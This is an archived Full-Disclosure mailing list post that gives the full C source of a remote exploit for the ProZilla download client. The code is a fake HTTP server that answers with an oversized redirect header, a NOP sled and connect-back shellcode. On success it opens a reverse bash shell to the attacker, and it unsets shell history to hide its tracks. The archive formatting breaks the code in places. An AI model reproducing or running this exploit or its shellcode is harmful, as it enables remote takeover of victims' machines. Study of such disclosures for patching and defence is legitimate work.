

# [Full-Disclosure] Prozilla Remote Exploit

**Source:** <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2004-11/1166.html>

---

**From:** Serkan Akpolat (*sakpolat\_at\_gmx.net*)

**Date:** 11/24/04

To: bugtraq@securityfocus.com, full-disclosure@lists.netsys.com

Date: Tue, 23 Nov 2004 20:45:20 -0800

Attached is an exploit for GLSA 200411-31 / ProZilla

```
/* 20/10/2004
```

```
** This is a private work of Serkan Akpolat deicide@siyahsapka.org  
** for the unpublished prozilla-1.3.6 format string/buffer overflow  
** vulnerability , though this version only exploits the stack overflow.  
** Tested against current gentoo/slack/debian/suse with success. :P  
** Client side: proz hostname:port/anyfile.name  
** Default listen port is 8080  
** Homepage: www.siyahsapka.org || deicide.siyahsapka.org  
**/
```

```
#include <stdio.h>  
#include <stdlib.h>  
#include <sys/types.h>  
#include <sys/wait.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <arpa/inet.h>  
#include <unistd.h>  
#include <string.h>  
#include <signal.h>  
#define PORT 8080  
#define MAX_RESPONSE 2048  
#define TRUE 1
```

```
char packet_start[]=\n"HTTP/1.1 302 Found\r\n"  
"Location: http://";
```

```
char packet_end[]=\n"\r\n"  
"Content-Encoding: gzip\r\n"  
"Content-Type: text/html; charset=iso-8859-1\r\n"
```

## Full-Disclosure: [Full-Disclosure] Prozilla Remote Exploit

```
"Connection: close\r\n\r\n";
```

```
/* Shellcode with no control character.
```

```
** Nop's in the shellcode will be patched for attacker defined ip port
```

```
** at runtime.
```

```
*/
```

```
char real_response[]=\
```

```
"HTTP/1.1 302 Found\r\n"
```

```
"Location: http://blahblahblah.com/movie.wmv\r\n"
```

```
"Content-Encoding: gzip\r\n"
```

```
"Content-Type: text/html; charset=iso-8859-1\r\n"
```

```
"Connection: close\r\n\r\n";
```

```
unsigned char shellcode[] = {
```

```
/* write(1,"\n\n\n",4) 0x31 times */
```

```
0x31, 0xf6, 0x31, 0xff, 0x83, 0xc6, 0x31, 0x31, 0xc0, 0xb9, 0x5a, 0x5a,  
0x5a, 0x5a, 0x81, 0xe9, 0x50, 0x50, 0x50, 0x50, 0x51, 0x54, 0x59, 0x31,  
0xdb, 0x43, 0x40, 0x40, 0x40, 0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42,  
0xcd, 0x80, 0x47, 0x39, 0xf7, 0x75, 0xdc,
```

```
/* write(1,"\n\n\nEnd of file while parsing header",38);*/
```

```
0x31, 0xc0, 0x31, 0xdb, 0xbe, 0x4a, 0x4a, 0x4a, 0x4a, 0x81, 0xee, 0x40,  
0x40, 0x40, 0x40, 0x56, 0x68, 0x61, 0x64, 0x65, 0x72, 0x68, 0x67, 0x20,  
0x68, 0x65, 0x68, 0x72, 0x73, 0x69, 0x6e, 0x68, 0x65, 0x20, 0x70, 0x61,  
0x68, 0x77, 0x68, 0x69, 0x6c, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x68, 0x6f,  
0x66, 0x20, 0x66, 0x68, 0x45, 0x6e, 0x64, 0x20, 0x54, 0x59, 0x43, 0x40,  
0x40, 0x40, 0x40, 0x31, 0xd2, 0xb2, 0x24, 0xcd, 0x80,
```

```
/* fork(); */
```

```
0x31, 0xc0, 0x40, 0x40, 0xcd, 0x80,
```

```
/* If we are parent exit(?) */
```

```
0x31, 0xdb, 0x39, 0xc3, 0x74, 0x23, 0x31, 0xc0, 0xfe, 0xc0, 0xfe, 0xc8,  
0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,  
0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,  
0xfe, 0xc0, 0x43, 0xcd, 0x80,
```

```
/* setsid() */
```

```
0x31, 0xc0, 0xb0, 0x42, 0xcd, 0x80,
```

```
/* signal(SIGHUP,SIG_IGN) */
```

```
0xb0, 0x30, 0x66, 0x29, 0xdb, 0x43, 0x89, 0xd9, 0xcd, 0x80,
```

```
/* sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP) */
```

```
0x31, 0xc0, 0x50, 0x40, 0x50, 0x40, 0x50, 0x89, 0xe1, 0xb0, 0x66, 0xcd,  
0x80,
```

```
/* i = connect(sock, sockaddr, 16) */
```

```
0x89, 0xc6, 0x4b, 0x53, 0x53, 0xbf, 0x90, 0x90, 0x90, 0x90, 0x81, 0xf7,  
0x90, 0x90, 0x90, 0x90, 0x57, 0x66, 0xba, 0x90, 0x90, 0x66, 0x81, 0xf2,  
0x90, 0x90, 0x66, 0x52, 0x43, 0x43, 0x66, 0x53, 0x89, 0xe2, 0xb3, 0x50,  
0x80, 0xeb, 0x40, 0x53, 0x52, 0x50, 0x89, 0xe1, 0xb3, 0x4f, 0x80, 0xeb,  
0x4c, 0xb0, 0x66, 0xcd, 0x80,
```

```
/* if (i != 0) jmp exit(?) */
```

```
0x31, 0xc9, 0x39, 0xc8, 0x75, 0x57,
```

```
/* write(sd,"SSSS",4) */
```

```
0x68, 0x53, 0x53, 0x53, 0x53, 0x54, 0x59, 0x89, 0xf3, 0x40, 0x40, 0x40,  
0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42, 0xcd, 0x80,
```

## Full-Disclosure: [Full-Disclosure] Prozilla Remote Exploit

```
/* dup2 loop */
0x31, 0xc9, 0x41, 0x41, 0xb0, 0x3f, 0xcd, 0x80, 0x49, 0x75, 0xf9, 0xb0,
0x3f, 0xcd, 0x80,
/* execve("/bin/bash", {"bash", NULL} , NULL) */
0x31, 0xc0, 0x31, 0xd2, 0x50, 0x6a, 0x68, 0xb8, 0x40, 0x34, 0x34, 0x33,
0x35, 0x6f, 0x56, 0x55, 0x40, 0x50, 0xb8, 0x40, 0x31, 0x34, 0x33, 0x35,
0x6f, 0x53, 0x5d, 0x5d, 0x50, 0x54, 0x5b, 0x31, 0xc0, 0x50, 0x68, 0x62,
0x61, 0x73, 0x68, 0x89, 0xe7, 0x50, 0x57, 0x54, 0x59, 0xb0, 0x4b, 0x2c,
0x40, 0xcd, 0x80,
/* exit(?) */
0x31, 0xc0, 0x40, 0xcd, 0x80
};

void usage(char *progname)
{
    fprintf(stderr, "Usage: %s [-cp] [ip]\n\n\"
    \"-c <ip address> connectback ip address\n\"
    \"-p <port> connectback port (default = 8080)\n\", progname);
    exit(1);
}

/* Interactive shell session */
void shell(int sock)
{
    /* from sambal.c, hey eSDee ;) */
    fd_set fd_read;
    char buff[1024], *cmd="unset HISTFILE; echo \"*** Hobareeey! ***\";uname -a;id;\n";
    int n;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    FD_SET(0, &fd_read);
    send(sock, cmd, strlen(cmd), 0);

    while(1) {
        FD_SET(sock, &fd_read);
        FD_SET(0, &fd_read);
        if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0) break;
        if (FD_ISSET(sock, &fd_read)) {
            if ((n = recv(sock, buff, sizeof(buff), 0)) < 0) {
                fprintf(stderr, "EOF\n");
                exit(2);
            }
            if (write(1, buff, n) < 0) break;
        }
        if (FD_ISSET(0, &fd_read)) {
            if ((n = read(0, buff, sizeof(buff))) < 0) {
                fprintf(stderr, "EOF\n");
                exit(2);
            }
            if (send(sock, buff, n, 0) < 0) break;
        }
    }
}
```

## Full-Disclosure: [Full-Disclosure] Prozilla Remote Exploit

```
    usleep(10);
}
fprintf(stderr, "Connection lost.\n\n");
exit(0);
}

void put_ip(int i,int j)
{
    shellcode[j]=i;
}

void put_xor(int i,int j,int k)
{
    shellcode[j+k]=i;
}

int find_xor(int a,int b,int c)
{
    int i=49,j=49;
    for(i=49;i<255;i++) {
        for(j=49;j<255;j++) {
            if(a==(i^j)) {
                put_ip (i,b);
                put_xor (j,b,c);
                b++;
                return b;
            }
        }
    }
    return -1;
}

void check_zombie(int x)
{
    waitpid(-1,NULL,WNOHANG);
}

void send_start(int connection)
{
    if (send(connection,packet_start,strlen(packet_start),0)==-1) {
        perror("send");
    }
    fprintf(stderr,"[+] Sending Header Start\n");
}

void send_nop(int connection)
{
    int i = 0;
    int j = 1;
    char buffer [1024] = "AA@@@";
    char counter [128];
```

## Full-Disclosure: [Full-Disclosure] Prozilla Remote Exploit

```
memset(counter,0x00,128 );
memset(buffer+3,0x41,1021);
buffer[1024-1]='\0';

while(i<96) {
    if (send(connection,buffer,strlen(buffer),0)==-1) {
        perror("send");
    }
    i++;
    if(!(i%4))
        j++;
    memset (counter,0x2b,j);
    memset (counter+j,0x20,26-j);
    fprintf(stderr, "\r[+] Sending 96kb Nop [ %s]",counter);
    memset(counter,0x00,sizeof(counter));
}

fprintf(stderr, "\n");
fprintf(stderr, "[+] Sending Shellcode\n");

if (send(connection,shellcode,strlen(shellcode),0)==-1) {
    perror("send");
}

}

void send_hostname(int connection)
{
    int i = 0;
    char fill_buffer[1600];
    memset(fill_buffer,0x00,1600);

    /* We dont care about alignment, return 0x08080808 */

    for(;i<400;i++) {
        strcat(fill_buffer, "\x08\x08\x08\x08");
    }

    fprintf(stderr, "[+] Sending Return address [ 0x08080808 ]\n");

    if (send(connection,fill_buffer,1600,0)==-1) {
        perror("send");
    }
}

void send_end(int connection)
{
    fprintf(stderr, "[+] Sending Header End\n");
    if (send(connection,packet_end,strlen(packet_end),0)==-1) {
        perror("send");
    }
}
```

## Full-Disclosure: [Full-Disclosure] Prozilla Remote Exploit

```
    }  
}  
  
int init_socket(struct sockaddr_in *control_addr,struct sockaddr_in *from_addr,int *from_len)  
{  
    int control;  
  
    if((control=socket(AF_INET,SOCK_STREAM,0))<0) {  
        perror("Socket:");  
        exit(1);  
    }  
  
    control_addr->sin_port=htons(PORT);  
    control_addr->sin_addr.s_addr=INADDR_ANY;  
    control_addr->sin_family=AF_INET;  
  
    if((bind(control,(struct sockaddr *)control_addr,sizeof(*control_addr)))!=0) {  
        perror("Bind:");  
        exit(1);  
    }  
    if(listen(control,128)!=0) {  
        perror("Listen:");  
        exit(1);  
    }  
  
    *from_len =sizeof(*from_addr);  
    signal(SIGCHLD,check_zombie);  
    return control;  
}  
  
int main(int argc,char **argv)  
{  
    /* ip patch position */  
    int i=194;  
    int opt_p=0,opt_c=0;  
    int port,porthigh,portlow;  
    int c,f;  
    int control;  
    int connection,from_len;  
    int ip1,ip2,ip3,ip4;  
    char http_response [2048];  
    char client_request[2048];  
    struct sockaddr_in *control_addr = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in));  
    struct sockaddr_in *from_addr = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in));  
  
    while((c=getopt(argc, argv, "hc:p:"))!=EOF) {  
        switch (c) {  
            case 'h':  
                usage(argv[0]);  
            case 'c':  
                opt_c=1;  
        }  
    }  
}
```

## Full-Disclosure: [Full-Disclosure] Prozilla Remote Exploit

```
    sscanf(optarg, "%d.%d.%d.%d", &ip1, &ip2, &ip3,&ip4);
    break;
case 'p':
    opt_p=1;
    port = atoi(optarg);
    if ((port <= 0) || (port > 65535)) {
        fprintf(stderr, "Invalid port.\n\n");
        exit(1);
    }
}
}
if(opt_p) {
    porthigh = (port & 0xff00) >> 8;
    portlow = (port & 0x00ff);
}
else {
    port = 8080;
    porthigh = (port & 0xff00) >> 8;
    portlow = (port & 0x00ff);
}
if(!opt_c) {
    usage(argv[0]);
}
memset(http_response,0x0,MAX_RESPONSE);
control = init_socket(control_addr,from_addr,&from_len);

/* patch ip */
i = find_xor(ip1,i,6);
i = find_xor(ip2,i,6);
i = find_xor(ip3,i,6);
i = find_xor(ip4,i,6);

/* patch port */
i = 207;
i = find_xor( porthigh,i,5);
i = find_xor( portlow ,i,5);

while(TRUE) {
    if((connection=accept(control,(struct sockaddr *)from_addr,&from_len))==-1) {
        exit(1);
    }

    fprintf(stderr,"[+] Victim at : %s\n", inet_ntoa(from_addr->sin_addr));
    if (read(connection,client_request,sizeof(client_request))==0) {
        exit(1);
    }

    /* Victim Responded */
    if(strstr(client_request,"Prozilla"))
    {
```

## Full-Disclosure: [Full-Disclosure] Prozilla Remote Exploit

```
fprintf(stderr,"[+] Victim using Prozilla.\n");
f=1;
}
else {
    if(strstr(client_request,"SSSS")) {
        fprintf(stderr,"Nice , Victim Responded!\n");
        shell(connection);
    }
    else {
        fprintf(stderr,"[+] Victim is not using Prozilla! Sending a normal response.\n");
        if(send(connection,real_response,strlen(shellcode),0)==-1) {
            perror("send");
        }
    }
}
if(f==1) {
    /* HTTP */
    send_start(connection);
    /* nop sled [nop@] */
    send_nop(connection);
    /* Overwrite Saved Ret , return to heap */
    send_hostname(connection);
    /* HTTP END */
    send_end(connection);
    f=0;
}
close(connection);
memset(client_request,0x0,sizeof(client_request));

if (fork()==0) {
    free(from_addr);
    free(control_addr);
    exit(0);
}
else {
    close(connection);
}

}

printf("Done");
return 0;
}
```

---

Full-Disclosure – We believe in it.

Charter: <http://lists.netsys.com/full-disclosure-charter.html>